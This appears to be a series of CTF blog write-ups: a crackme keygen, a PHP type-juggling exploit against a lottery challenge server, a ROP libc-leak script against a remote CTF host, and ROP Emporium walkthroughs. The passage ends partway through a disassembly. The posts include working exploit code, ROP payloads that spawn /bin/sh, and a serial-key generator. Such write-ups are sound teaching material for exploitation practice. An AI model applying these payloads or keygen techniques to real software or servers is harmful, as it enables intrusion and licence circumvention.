0000000000400b71 3B459C                 cmp        eax, dword [rbp+var_64]
0000000000400b74 7D0C                   jge        loc_400b82

0000000000400b76 BF100C4000             mov        edi, 0x400c10                ; argument "__s" for method j_puts
0000000000400b7b E8C0FAFFFF             call       j_puts                       ; puts
0000000000400b80 EB0A                   jmp        loc_400b8c

                                    loc_400b82:
0000000000400b82 BFF00B4000             mov        edi, 0x400bf0                ; argument "__s" for method j_puts, CODE XREF=run+356, run+370, run+384, run+398, run+406, run+414, run+422
0000000000400b87 E8B4FAFFFF             call       j_puts                       ; puts

                                    loc_400b8c:
0000000000400b8c 488B45F8               mov        rax, qword [rbp+var_8]       ; CODE XREF=run+102, run+434
0000000000400b90 644833042528000000     xor        rax, qword [fs:0x28]
0000000000400b99 7405                   je         loc_400ba0

0000000000400b9b E8C0FAFFFF             call       j___stack_chk_fail           ; __stack_chk_fail
                        ; endp

                                    loc_400ba0:
0000000000400ba0 C9                     leave                                   ; CODE XREF=run+459
0000000000400ba1 C3                     ret

One by one the numbers get fed to the function c, if the fuction c returns 0x0 “Invalide serial number!” gets printed.

Also the first chunk cannot be greater than or equal to the second, the second not equal or greater than the third and the third not equal or greater than the fourth or “Invalide serial number!” gets printed

lets have a look at the function named c
                                    c:
0000000000400992 55                     push       rbp                          ; Begin of unwind block (FDE at 0x400d1c), End of unwind block (FDE at 0x400dc4), CODE XREF=run+349, run+363, run+377, run+391
0000000000400993 4889E5                 mov        rbp, rsp
0000000000400996 897DEC                 mov        dword [rbp+var_14], edi
0000000000400999 817DEC56040000         cmp        dword [rbp+var_14], 1110
00000000004009a0 7F07                   jg         loc_4009a9

00000000004009a2 B800000000             mov        eax, 0x0
00000000004009a7 EB23                   jmp        loc_4009cc

                                    loc_4009a9:
00000000004009a9 C745FC01000000         mov        dword [rbp+var_4], 0x1       ; CODE XREF=c+14
00000000004009b0 EB0A                   jmp        loc_4009bc

                                    loc_4009b2:
00000000004009b2 8B45FC                 mov        eax, dword [rbp+var_4]       ; CODE XREF=c+46
00000000004009b5 2945EC                 sub        dword [rbp+var_14], eax
00000000004009b8 8345FC02               add        dword [rbp+var_4], 0x2

                                    loc_4009bc:
00000000004009bc 837DEC00               cmp        dword [rbp+var_14], 0x0      ; CODE XREF=c+30
00000000004009c0 7FF0                   jg         loc_4009b2

00000000004009c2 837DEC00               cmp        dword [rbp+var_14], 0x0
00000000004009c6 0F94C0                 sete       al
00000000004009c9 0FB6C0                 movzx      eax, al

                                    loc_4009cc:
00000000004009cc 5D                     pop        rbp                          ; CODE XREF=c+21
00000000004009cd C3                     ret

first the number gets checked if its grater than 0x456.
var_4 is set to 0x1

var_4 is substracted from the number
var_4 is incremented by 2
and the number gets checked if its grater than 0x0
and this loops until the number is 0x0 or less than 0x0

if the number is equal to 0x0 the function c will return 1 else it wil return 0

that last part translated to python it’s:

def c(num):
var_4 = 1
while num > 0:
num = num - var_4
var_4 +=2
if num == 0:
return 1
else:
return 0

Now I could just feed this function random 4 digit number bigger than 0x456 and see wich ones will pass this test.

Or we can flip it around and generate a list of numbers

def m():
num = 0
x = 1
while num < 9999:
num += x
x = x+2
if (num > 0x456):
print num
m()

The Keygen

Now its time to bring it al together,

Frist I generate an array containing numbers that will pass the check by the c function excluding all the numbers containing a zero

Then i will pick 4 random numbers from the array making sure that the second is higher than the first, third is higher than the second and the forth is higher then the third.

The array is generated in a ascending order so picking a higher number than the previous number can easily be done by restricting the rang were I randomly select from. Then I print the 4 numbers separated by dashes

!/usr/bin/python
from random import randint
chunks = []
num = 0
x = 1
while num < 9999:
num += x
x = x+2
if (num > 0x456) & (num < 10000) & ('0' not in str(num)):
chunks.append(num)
c1 = randint(0,len(chunks)-4)
c2 = randint(c1+1,len(chunks)-3)
c3 = randint(c2+1,len(chunks)-2)
c4 = randint(c3+1,len(chunks)-1)
print ("%d-%d-%d-%d" % (chunks[c1], chunks[c2], chunks[c3], chunks[c4]))

Now I can just pipe the output of my keygen to ./resqua and check if it works 100% of the time.

$ while true; do python gen.py| tee /dev/pts/2 |./resqua; done;
5184-7396-8649-8836
Enter a valid serial number: Congrats, valid serial number!
5776-6241-7225-8836
Enter a valid serial number: Congrats, valid serial number!
1225-6241-7744-8281
Enter a valid serial number: Congrats, valid serial number!
Enter a valid serial number: Congrats, valid serial number!
2116-5929-8836-9216
Enter a valid serial number: Congrats, valid serial number!
3721-5625-7921-8464
5476-8649-8836-9216
Enter a valid serial number: Congrats, valid serial number!
1936-3481-8836-9216
Enter a valid serial number: Congrats, valid serial number!
1764-5625-8649-8836
Enter a valid serial number: Congrats, valid serial number!
1521-3249-7569-8649
Enter a valid serial number: Congrats, valid serial number!
1225-3364-6889-8649
Enter a valid serial number: Congrats, valid serial number!
Enter a valid serial number: Congrats, valid serial number!
5184-5929-7569-9216
1156-3364-8649-9216
Enter a valid serial number: Congrats, valid serial number!
7744-8649-8836-9216
etc.... etc.... etc... etc.. etc.

Juggling to win a Lottery!

SHU-CTF – lottery

Sorry about the Click-bait title.
This article is about how PHP type juggling and exploiting the Lottery challenge from SHU-CTF.

This challenge is hosted at http://120.79.191.75/web-test/lottery/index.php
and at the time of writing still online.

Finding the vulnerability

They were nice enough to provide us with the source code of the challenge.
So lets start by checking how things work and see if we can find some bugs.

in api.php there is a function that will compare the winning lottery numbers against the user picked numbers. (api.php line 80)

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

The vulnerability lays in the comparison of the following line. A loose comparison == is used instead of a strict comparison ===

if($numbers[$i] == $win_numbers[$i]){ $same_count++; }

This means that if I am able to send true instead a number it will match 1,2,3,4,5,6,7,8 and 9 the only number it won’t match is 0.

The only restrictions on the input is done on the client side. (buy.php line 7)

<input type="text" name="numbers" id="numbers" minlength="7" maxlength="7" pattern="\d{7}" required placeholder="7 numbers">

and the json is build up and ajax request send in buy.js (line 1)

function buy(){
$('#wait').show();
$('#result').hide();
var input = $('#numbers')[0];
if(input.validity.valid){
var numbers = input.value;
$.ajax({
method: "POST",
url: "api.php",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({ action: "buy", numbers: numbers })
}).done(function(resp){
if(resp.status == 'ok'){
show_result(resp);
} else {
alert(resp.msg);
}
})
} else {
alert('invalid');
}
$('#wait').hide();
}
exploiting the vulnerability

I could just boot up burp suit and intercept and modify the requests.
or craft some curl requests. But for the sake of simplicity I’ll use my browsers debugger.

First get our self a session going by registering at http://120.79.191.75/web-test/lottery/register.php

After registering it will redirect you to the buy.php page.
Hit ‘f12’ to open up the debugging console in your browser.

just enter any 7 numbers into the box next to the buy button on the page.
and go to the sources tab in the debugger and open ‘js/buy.js’

now change line 12 from:
data: JSON.stringify({ action: "buy", numbers: numbers })
to:
data: JSON.stringify({ action: "buy", numbers: [true,true,true,true,true,true,true] })

press CTRL+S to activate the modified script.

And click the buy button until you have enough money to buy me a beer.

donate bitcoin : 14H2c7q53FhA7FFsahv9i3mknDyBqcdsSj

No libc.so No problem.

x-mas CTF – Random present.

A lot of times CTF challenges provide the libc.so file that is installed on the server.

During the x-mas CTF I found out that that is not always the case.

Lets first have a look at the binary

I use pwn tools to check what type of security is used on the binary.

$ pwn checksec chall 
[*] '/home/m42d/Desktop/CTFs/xmass/random present/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

And hopper do disassemble

                                    main:
0000000000400676 55                     push       rbp                          ; Begin of unwind block (FDE at 0x4008a4), DATA XREF=_start+29
0000000000400677 4889E5                 mov        rbp, rsp
000000000040067a 4883EC20               sub        rsp, 0x20
000000000040067e BF3C000000             mov        edi, 0x3c                    ; argument "__seconds" for method j_alarm
0000000000400683 B800000000             mov        eax, 0x0
0000000000400688 E8D3FEFFFF             call       j_alarm                      ; alarm
000000000040068d 488B05AC092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400694 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400699 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040069e BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006a3 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006a6 E8D5FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006ab 488B059E092000         mov        rax, qword [stdin@@GLIBC_2.2.5] ; stdin@@GLIBC_2.2.5
00000000004006b2 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006b7 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006bc BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006c1 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006c4 E8B7FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006c9 488B0590092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
00000000004006d0 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006d5 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006da BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006df 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006e2 E899FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006e7 BFA0074000             mov        edi, aThisIsEasierTh         ; argument "__s" for method j_puts, "This is easier than you would think..."
00000000004006ec E85FFEFFFF             call       j_puts                       ; puts
00000000004006f1 BFC7074000             mov        edi, aSantaAllowedYo         ; argument "__s" for method j_puts, "Santa allowed you to ROP me!"
00000000004006f6 E855FEFFFF             call       j_puts                       ; puts
00000000004006fb 488D45E0               lea        rax, qword [rbp+var_20]
00000000004006ff 4889C7                 mov        rdi, rax                     ; argument "__str" for method j_gets
0000000000400702 B800000000             mov        eax, 0x0
0000000000400707 E864FEFFFF             call       j_gets                       ; gets
000000000040070c B800000000             mov        eax, 0x0
0000000000400711 C9                     leave

I first spend a lot of time trying to look for a solution were I din’t need a copy of the servers libc.so but with NX enabled and system not linked as external symbol. I realized that there was no way to do this.

Finding the version of libc.so

I need to figure out wat version of libc.so was loaded. I though I need to download a whole bunch of them and check were what the offsets of functions were compared to others and maybe I can figure out what version was running.

My idea seemed a little far fetched, but this was the only thing left I could think of.

While searching for a database or collection of libc.so files.I found that my idea wasn’t that far fetched at all. As I stumbled upon a git hub repository to build a libc.so offset database and a online searchable offset database at libc.blukat.me

leaking the offsets.

I made a small python script, that builds 2 ROP chains and leaks the memory addresses from the Global Offset Table.

from pwn import *
io = remote("199.247.6.180",10005)
start= 0x400590
GOT_puts =0x601018
GOT_alarm =0x601020
sym_puts = 0x00400550
pop_rdi = 0x0040077b # pop rdi; ret
r = io.recv() # flush the buffer
first rop chain to leak libc.so alarm offset and retun to beginning
p = 'A'*40+p64(pop_rdi)+p64(GOT_alarm)+p64(sym_puts)+p64(start)
io.sendline(p)
r = io.recv()
print 'alarm offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
second rop chain to leak libc.so puts offset and choke on some bytes.
p = 'A'*40+p64(pop_rdi)+p64(GOT_puts)+p64(sym_puts)+"choke on it"
io.sendline(p)
r = io.recv()
print 'puts offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
$ python leak.py
alarm offset : 0xa7efd18f45b10
puts offset : 0xa7efd18ef4c70

Now we can look up what version of libc is running on the server and find the offsets for ‘system’ and the ‘/bin/sh’ sting.

All that remains now it to write a script to build a rop chain to leak 1 address of the GOT. Calculate the base address of libc.so and send another rop chain to call system with /bin/sh as argument.

Playing with ROP part2

Write4

In part 1 I wanted to explain somethings about ROP chains.
But the challenge I took as example only needed to return to a function.

It was not so exciting but it covered the basics of overflowing and Return oriented programming.

Lets take a look at an other challenge on ROPemporium the 64 bit version of write4

Three ways to win.

write4 is a challenge I solved a couple of months ago and now reading the description on the page. I realize i solved the challenge in a way that it wasn’t intended.

Never the less, I’m going to write about solution.

Disassembly
0000000000400746 55                     push       rbp                          ; Begin of unwind block (FDE at 0x4009cc), DATA XREF=_start+29
0000000000400747 4889E5                 mov        rbp, rsp
000000000040074a 488B050F092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400751 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400756 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040075b BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
0000000000400760 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400763 E8C8FEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400768 488B0511092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
000000000040076f B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400774 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
0000000000400779 BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
000000000040077e 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400781 E8AAFEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400786 BFB8084000             mov        edi, aWrite4ByRopEmp         ; argument "__s" for method j_puts, "write4 by ROP Emporium"
000000000040078b E840FEFFFF             call       j_puts                       ; puts
0000000000400790 BFCF084000             mov        edi, a64bitsn                ; argument "__s" for method j_puts, "64bits\\n"
0000000000400795 E836FEFFFF             call       j_puts                       ; puts
000000000040079a B800000000             mov        eax, 0x0
000000000040079f E811000000             call       pwnme                        ; pwnme
00000000004007a4 BFD7084000             mov        edi, aNexiting               ; argument "__s" for method j_puts, "\\nExiting"
00000000004007a9 E822FEFFFF             call       j_puts                       ; puts
00000000004007ae B800000000             mov        eax, 0x0
00000000004007b3 5D                     pop        rbp
00000000004007b4 C3                     ret
                        ; endp


        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================

        ; Variables:
        ;    var_20: int8_t, -32


                                    pwnme:
00000000004007b5 55                     push       rbp                          ; End of unwind block (FDE at 0x4009cc), Begin of unwind block (FDE at 0x4009ec), CODE XREF=main+89
00000000004007b6 4889E5                 mov        rbp, rsp
00000000004007b9 4883EC20               sub        rsp, 0x20
00000000004007bd 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007c1 BA20000000             mov        edx, 0x20                    ; argument "__n" for method j_memset
00000000004007c6 BE00000000             mov        esi, 0x0                     ; argument "__c" for method j_memset
00000000004007cb 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_memset
00000000004007ce E82DFEFFFF             call       j_memset                     ; memset
00000000004007d3 BFE0084000             mov        edi, aGoAheadAndGive         ; argument "__s" for method j_puts, "Go ahead and give me the string already!"
00000000004007d8 E8F3FDFFFF             call       j_puts                       ; puts
00000000004007dd BF09094000             mov        edi, 0x400909                ; argument "__format" for method j_printf
00000000004007e2 B800000000             mov        eax, 0x0
00000000004007e7 E804FEFFFF             call       j_printf                     ; printf
00000000004007ec 488B157D082000         mov        rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5
00000000004007f3 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007f7 BE00020000             mov        esi, 0x200                   ; argument "__n" for method j_fgets
00000000004007fc 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_fgets
00000000004007ff E81CFEFFFF             call       j_fgets                      ; fgets
0000000000400804 90                     nop
0000000000400805 C9                     leave
0000000000400806 C3                     ret
                        ; endp


        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                                    usefulFunction:
0000000000400807 55                     push       rbp                          ; End of unwind block (FDE at 0x4009ec), Begin of unwind block (FDE at 0x400a0c)
0000000000400808 4889E5                 mov        rbp, rsp
000000000040080b BF0C094000             mov        edi, aBinls                  ; argument "__command" for method j_system, "/bin/ls"
0000000000400810 E8CBFDFFFF             call       j_system                     ; system
0000000000400815 90                     nop
0000000000400816 5D                     pop        rbp
0000000000400817 C3                     ret
                        ; endp
0000000000400818                        align      32                           ; End of unwind block (FDE at 0x400a0c)

just like in the ret2win challenge there is a pwnme function that writes more user input than the buffer can fit.
in this case 0x200 bytes to a 0x20 byte buffer.

Were to return to.

There is a function called ‘usefulFunction‘ but it will ‘ls‘ instead of ‘cat flag‘. That’s not very helpfull.

But, the call to system we can use.

go go gadget ROPchain.

We controle what is on the stack with the overflow. but we also need to controle wat is in the registers or at a certain address.

So we abuse the end of excising functions to do our dirty work.

Take a look at the end of this function.
        ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                                    __libc_csu_init:
0000000000400830 4157                   push       r15                          ; Begin of unwind block (FDE at 0x400a2c), DATA XREF=_start+22
0000000000400832 4156                   push       r14
0000000000400834 4189FF                 mov        r15d, edi
0000000000400837 4155                   push       r13
0000000000400839 4154                   push       r12
000000000040083b 4C8D25CE052000         lea        r12, qword [__frame_dummy_init_array_entry] ; __frame_dummy_init_array_entry
0000000000400842 55                     push       rbp
0000000000400843 488D2DCE052000         lea        rbp, qword [__do_global_dtors_aux_fini_array_entry] ; __do_global_dtors_aux_fini_array_entry
000000000040084a 53                     push       rbx
000000000040084b 4989F6                 mov        r14, rsi
000000000040084e 4989D5                 mov        r13, rdx
0000000000400851 4C29E5                 sub        rbp, r12
0000000000400854 4883EC08               sub        rsp, 0x8
0000000000400858 48C1FD03               sar        rbp, 0x3
000000000040085c E83FFDFFFF             call       _init                        ; _init
0000000000400861 4885ED                 test       rbp, rbp
0000000000400864 7420                   je         loc_400886

0000000000400866 31DB                   xor        ebx, ebx
0000000000400868 0F1F840000000000       nop        dword [rax+rax]

                                    loc_400870:
0000000000400870 4C89EA                 mov        rdx, r13                     ; CODE XREF=__libc_csu_init+84
0000000000400873 4C89F6                 mov        rsi, r14
0000000000400876 4489FF                 mov        edi, r15d
0000000000400879 41FF14DC               call       qword [r12+rbx*8]
000000000040087d 4883C301               add        rbx, 0x1
0000000000400881 4839EB                 cmp        rbx, rbp
0000000000400884 75EA                   jne        loc_400870

                                    loc_400886:
0000000000400886 4883C408               add        rsp, 0x8                     ; CODE XREF=__libc_csu_init+52
000000000040088a 5B                     pop        rbx
000000000040088b 5D                     pop        rbp
000000000040088c 415C                   pop        r12
000000000040088e 415D                   pop        r13
0000000000400890 415E                   pop        r14
0000000000400892 415F                   pop        r15
0000000000400894 C3                     ret

Do you see al these lovely little pops followed by a ret . That is what we call a gadget.

Finding ROPgadgets the easy way

you could go trough the disassembly by hand, but there is a good change you will mis something valuable. since some multi byte opcodes hide a other opcode within them.

And lucky for us there are nice tools available like ROPgadget that can scan a binary and outputs a nice list of all the gadgets hiding in the program.

$ ROPgadget --binary write4 
Gadgets information
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040089f : add bl, dh ; ret
0x000000000040089d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040089b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040081b : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x000000000040081c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040081d : add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040081e : add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089e : add byte ptr [rax], al ; ret
0x000000000040081f : add byte ptr [rbp - 0x77], cl ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20096e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400879 : call qword ptr [r12 + rbx8] 0x0000000000400a13 : call qword ptr [rcx] 0x000000000040087a : call qword ptr [rsp + rbx8]
0x000000000040073e : call rax
0x000000000040093b : call rsp
0x000000000040087c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601060 ; jmp rax
0x0000000000400877 : mov edi, edi ; call qword ptr [r12 + rbx8] 0x0000000000400876 : mov edi, r15d ; call qword ptr [r12 + rbx8]
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400898 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601060 ; jmp rax
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x00000000004008a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004008a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040081a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax
Unique gadgets found: 71
We have our gadgets, now what?

Lets think about wat we want to do here
I want to pop a shell.

so I need system() to execute ‘/bin/sh’. for that to happen i need a memory address containing the string ‘/bin/sh’ needs to be loaded into the rdi register before calling system()

Since the binary doesn’t contain the string ‘/bin/sh’ this means I have to place it some were myself I can however write it to the stack but with ASLR enabled the stack is somewhere else on every execution.

Borrowing a memory

I use rabin2 to get a overview of the sectors and its permissions.

$ rabin2 -S write4 
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00000238 28 0x00400238 28 -r-- .interp
02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag
03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id
04 0x00000298 48 0x00400298 48 -r-- .gnu.hash
05 0x000002c8 288 0x004002c8 288 -r-- .dynsym
06 0x000003e8 116 0x004003e8 116 -r-- .dynstr
07 0x0000045c 24 0x0040045c 24 -r-- .gnu.version
08 0x00000478 32 0x00400478 32 -r-- .gnu.version_r
09 0x00000498 96 0x00400498 96 -r-- .rela.dyn
10 0x000004f8 168 0x004004f8 168 -r-- .rela.plt
11 0x000005a0 26 0x004005a0 26 -r-x .init
12 0x000005c0 128 0x004005c0 128 -r-x .plt
13 0x00000640 8 0x00400640 8 -r-x .plt.got
14 0x00000650 594 0x00400650 594 -r-x .text
15 0x000008a4 9 0x004008a4 9 -r-x .fini
16 0x000008b0 100 0x004008b0 100 -r-- .rodata
17 0x00000914 68 0x00400914 68 -r-- .eh_frame_hdr
18 0x00000958 308 0x00400958 308 -r-- .eh_frame
19 0x00000e10 8 0x00600e10 8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss
27 0x00001060 52 0x00000000 52 ---- .comment
28 0x00001ae2 268 0x00000000 268 ---- .shstrtab
29 0x00001098 1896 0x00000000 1896 ---- .symtab
30 0x00001800 738 0x00000000 738 ---- .strtab

at 0x00601050 there is chunk or memory I have write permission to and will hold probably hold nothing of value to me.

So i will use this to write ‘/bin/sh’ to.

Buiding the ROPchain

I want the stack to look like.

 0x400890 # pop r14; pop r15; ret
0x601050 # our borrowed memory address
/bin/sh/
0x400820 # mov qword [r14], r15; ret
0x400893 # pop rdi; ret
0x601050 # our borrowed memory address
0x400810 # call system

So I make a small python script to print out the payload.

payload =  "A"*40 +\
"\x90\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"/bin/sh\x00" \
"\x20\x08\x40\x00\x00\x00\x00\x00" \
"\x93\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"\x10\x08\x40\x00\x00\x00\x00\x00"
print payload

I would normally use p64() from pwn lib, but for the sake of example I’m doing it the hard way today.

Time to POP a shell

now to pop a shell I first write my payload to a file

$ python rop.py > payload

Then I cat the payload file and pipe to 4write

$ cat payload - | ./4write

I use the ‘-‘ argument to make it output the stdin after it outputs the contents of our payload file. this way we get a nice little shell.

$ cat payload - | ./write4
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
cat flag.txt
ROPE{a_placeholder_32byte_flag!}

Playing with ROP part1

What are ROP chains?.

To understand what a ROP chain is you frist need to know what ROP means.

ROP stands for Return oriented programming.

When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns there.

A ROP Chain is a chain consisting of values and return addresses that a attacker might use to manipulate a program to do what he wants it to do.

Time to get our hands dirty

Writing about gadgets and ROP chains without an example to show is kinda boring. lets walk trough the “64bit ret2win” challenge you can find at . https://ropemporium.com/

In this challenge the objective is quite simple, there is a function we need to call ‘ret2win’ and it will print us a flag.

Disassemble time.

lets open the binary in hopper to see what we are dealing with.

 ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                            main:
0000000000400746 55                     push       rbp                          ; Begin of unwind block (FDE at 0x400acc), DATA XREF=_start+29
0000000000400747 4889E5                 mov        rbp, rsp
000000000040074a 488B050F092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400751 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400756 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040075b BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
0000000000400760 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400763 E8C8FEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400768 488B0511092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
000000000040076f B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400774 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
0000000000400779 BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
000000000040077e 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400781 E8AAFEFFFF             call       j_setvbuf                    ; setvbuf
